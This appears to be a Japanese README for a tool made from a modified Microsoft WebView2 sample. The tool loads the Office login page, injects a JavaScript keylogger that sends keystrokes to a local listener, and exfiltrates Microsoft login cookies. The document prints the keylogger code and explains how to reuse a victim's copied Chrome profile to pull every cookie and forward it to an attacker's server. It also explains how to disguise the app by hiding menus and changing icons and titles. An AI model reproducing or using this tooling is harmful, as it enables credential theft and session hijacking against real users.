
詳細については、こちらのブログ記事をお読みください。
このコードは、MicrosoftのWebView2コードを修正したものです。現在のコードは整理され、さらに改善される可能性があります。
Windows 10および11でテスト済み。
バイナリが実行されると、https://office.com/login が読み込まれます。JavaScriptのキーロガーがすべてのページに注入され、キーストロークが http://127.0.0.1:8080 に送信されます。さらに、ユーザーが正常に認証されると、login.microsoftonline.com のクッキーがBase64エンコードされ、HTTP GETリクエストを介して http://127.0.0.1:8080 に送信されます。
JavaScriptを変更したい場合は、AppWindow.cpp の 1096行目 にある以下のコードを変更する必要があります。
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
WebView2では、新しいユーザーデータフォルダ (UDF) を作成する代わりに、既存のUDFを使用して起動できます。UDFには、すべてのパスワード、セッション、ブックマークなどが含まれています。ChromeのUDFは C:\Users\<username>\AppData\Local\Google\Chrome\User Data にあります。このプロファイルを使用してWebView2インスタンスを起動し、起動時にすべてのクッキーを抽出して攻撃者のサーバーに転送することができます。
唯一の注意点は、WebView2が User Data ではなく EBWebView という名前のフォルダを探すことです(理由は不明)。User Data フォルダをコピーし、EBWebView に名前を変更してください。
app.cpp の 41行目:
std::wstring userDataFolder(L""); を std::wstring userDataFolder(L"C:\\Path\\To\\Temp"); に変更します。EBWebView フォルダが含まれている必要があります。ScenarioCookieManagement.cpp の 40行目:
GetCookiesHelper(L"https://login.microsoftonline.com"); を GetCookiesHelper(L""); に変更します。GetCookiesHelper がウェブサイトを指定せずに呼び出されると、すべてのクッキーを抽出します。
注意: 現在のアプリケーションでは、クッキーの量が多い場合には機能しません。アプリケーションはGETリクエストでクッキーを送信するため、長さ制限があります。
バイナリに変更を加えたい場合は、以下に重要な関数に関する情報があります。
GetUri() 関数は、バイナリ実行時に読み込まれるURLを持っています。SendCookies() 関数には、クッキーの送信先のIPアドレスとポートが含まれています。CallCookieFunction() 関数は、URLが https://www.office.com/?auth= で始まるまで待機し、その後 ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com") を呼び出します。POPUP 値を "" に設定してメニューバーを削除します。IDS_APP_TITLE と IDC_WEBVIEW2APISAMPLE を変更します。これらはタイトルバーに表示されるアプリケーション名です。IDI_WEBVIEW2APISAMPLE、IDI_WEBVIEW2APISAMPLE_INPRIVATE、IDI_SMALL を変更します。これらは、このアプリケーションのアイコンを示す ファイルを指します。.icoitemHeight を0に設定する必要があります。これはこのコードですでに処理されています。LoadImage() をコメントアウトする必要があります。これにより青色のスプラッシュ画像が非表示になります。これはこのコードですでに処理されています。new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); の最後のパラメータ値を true に変更します。これによりツールバーが非表示になります。これはこのコードですでに処理されています。